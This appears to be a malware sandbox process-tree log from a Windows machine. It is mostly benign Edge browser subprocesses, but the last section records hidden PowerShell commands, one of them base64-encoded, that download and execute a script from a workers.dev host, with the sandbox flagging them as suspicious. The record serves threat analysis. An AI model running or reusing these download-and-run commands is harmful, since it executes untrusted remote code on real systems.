  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=de --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3652,i,13649510975966476666,4569948393686443422,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:14
  2⤵
  PID:620
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=de --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3840,i,3251461630826758449,14538780661534122715,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5464 /prefetch:14
  2⤵
  PID:3680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=de --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5160,i,9619174280154794428,4420537158587858004,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:14
  2⤵
  PID:1952
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=de --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5920,i,7513358760001485358,6160376742097102554,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:14
  2⤵
  PID:4348
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=de --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5920,i,7513358760001485358,6160376742097102554,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:14
  2⤵
  PID:4188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6372,i,11774096695949118883,706406215429873672,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=6548 /prefetch:14
  2⤵
  PID:4108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6572,i,13451472271640487797,14773115098634875220,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=6576 /prefetch:14
  2⤵
  PID:2452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6724,i,1132062729026235216,10835936765907794488,2097152 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=6556 /prefetch:1
  2⤵
  PID:4512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6924,i,17766100364392048754,15358157427227033952,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=6712 /prefetch:14
  2⤵
  PID:5772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=de --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6908,i,1553701049792537124,8637601437795240068,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=6848 /prefetch:14
  2⤵
  PID:5384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=6472,i,6765273641958380571,11342396100499228318,2097152 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=6600 /prefetch:1
  2⤵
  PID:4256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=6644,i,11587063821333359368,15751051385088851028,2097152 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=6656 /prefetch:1
  2⤵
  PID:2964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=4928,i,4240613893439919692,2893129287578773035,2097152 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=4456 /prefetch:1
  2⤵
  PID:5736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=de --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1372,i,18361801432709580637,9212684726437511683,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=4824 /prefetch:14
  2⤵
  PID:5032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=de --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7120,i,15042100681386247933,9458808745370321030,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=1276 /prefetch:14
  2⤵
  PID:2720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=de --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7032,i,4800494358131087397,12133232871738342086,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=1236 /prefetch:14
  2⤵
  PID:1772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=de --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7284,i,13190753320190666361,7952992626769462357,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:14
  2⤵
  PID:4916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5560,i,4900864072189896021,13959576954879942181,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5148 /prefetch:14
  2⤵
  PID:5764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5404,i,13873625636298737758,10047195559034560162,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:14
  2⤵
  PID:4324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5148,i,16508289167931169454,6642640855073196073,262144 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=3840 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5148,i,10349016089524501248,755598866266618773,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=924 /prefetch:14
  2⤵
  PID:3680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5596,i,3726482960519538999,17120524629922427576,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5136 /prefetch:14
  2⤵
  PID:2128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=de --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5328,i,2309466230320246450,14972509195306273166,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=6996 /prefetch:14
  2⤵
  PID:5724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=de --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5732,i,9756258692872076826,17916530366701593948,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=3420 /prefetch:14
  2⤵
  PID:4932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=de --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5492,i,10604250150532521323,13330109422947261936,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:14
  2⤵
  PID:1784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3888,i,8844237752772510849,11674904935623836113,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=3808 /prefetch:14
  2⤵
  PID:6012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5728,i,5883397714997389459,14375201344309547888,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:14
  2⤵
  PID:5004
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5404,i,10051759226693379316,10120802495889282887,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5544 /prefetch:14
  2⤵
  PID:3388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=de --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5568,i,11580360210244365996,10183950944691578624,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=1316 /prefetch:14
  2⤵
  PID:4848
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=de --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6092,i,7137797698256634137,15646594234281279667,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=6096 /prefetch:14
  2⤵
  PID:1140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5916,i,7642032874119594481,15079648555478807463,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=4040 /prefetch:14
  2⤵
  PID:2828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5936,i,1918439952077347726,13932304334283342714,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:14
  2⤵
  PID:3540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5380,i,7677269313082941804,8399034816822850169,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5616 /prefetch:14
  2⤵
  PID:2880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3504,i,6809789160046690804,236276809241002791,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=3928 /prefetch:14
  2⤵
  PID:3864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5516,i,2194396700749229070,7333326881039771106,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5936 /prefetch:14
  2⤵
  PID:3800
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=de --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5332,i,3234626402472926137,14925494900341047756,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5076 /prefetch:14
  2⤵
  PID:4444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7204,i,14451207462863164623,14038853352843828228,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5560 /prefetch:14
  2⤵
  PID:5364
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --always-read-main-dll --metrics-shmem-handle=4088,i,9269020931783920740,17134503585600845189,2097152 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5592 /prefetch:1
  2⤵
  PID:5412
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --always-read-main-dll --metrics-shmem-handle=7036,i,9888686300322122018,18415515522602686304,2097152 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=6612 /prefetch:1
  2⤵
  PID:728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --always-read-main-dll --metrics-shmem-handle=6776,i,5879230784218906371,9965809526150131824,2097152 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=7228 /prefetch:1
  2⤵
  PID:1720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --always-read-main-dll --metrics-shmem-handle=7092,i,15631971594454887057,5921111413498426278,2097152 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=1280 /prefetch:1
  2⤵
  PID:1184
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --always-read-main-dll --metrics-shmem-handle=1388,i,7519483407444693559,3640576977739674215,2097152 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5400 /prefetch:1
  2⤵
  PID:1288
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --js-flags=--ms-user-locale=de_DE --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --always-read-main-dll --metrics-shmem-handle=3868,i,16248150829874405694,15000542435222096127,2097152 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5108 /prefetch:1
  2⤵
  PID:6060
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6716,i,6582929009283793693,11414094471509775720,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=5900 /prefetch:14
  2⤵
  PID:4848
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=de --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6852,i,8767099734519449408,2132265147661936515,524288 --field-trial-handle=2252,i,3046089084436924002,8017914280096630260,262144 --variations-seed-version --mojo-platform-channel-handle=1272 /prefetch:14
  2⤵
  PID:2240

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:6068

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4756

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "\Start-Process powershell -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand aQBlAHgAIAAoAGkAdwByACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAFcAaQBuAGQAbwB3AHMATABvAGEAZABlAHIALwB2ADEALgAwACkAJwB9ACAAaAB0AHQAcABzADoALwAvAHkAbwB1AG4AZwAtAGIAbwBhAHQALQBlAGUAZQAyAC4AYgBkAHUANgA5ADAAMwAuAHcAbwByAGsAZQByAHMALgBkAGUAdgAvAHAAcwBjACkALgBDAG8AbgB0AGUAbgB0AA==' -WindowStyle Hidden\"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3184

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command { Invoke-Expression ( (Invoke-WebRequest -UseBasicParsing -Headers @{ 'User-Agent'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)' } https://young-boat-ee2.bdu6903.workers.dev/psc ).Content ) }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command { Invoke-Expression ( (Invoke-WebRequest -UseBasicParsing -Headers @{ 'User-Agent'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)' } https://young-boat-ee2.bdu6903.workers.dev/psc ).Content ) }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:720

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
1⤵
PID:4076

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command { iex ((iwr -UseBasicParsing -Headers @{'User-Agent'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)'} https://young-boat-ee2.bdu6903.workers.dev/psc).Content) }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command { iex ((iwr -UseBasicParsing -Headers @{'User-Agent'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)'} https://young-boat-ee2.bdu6903.workers.dev/psc).Content) }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
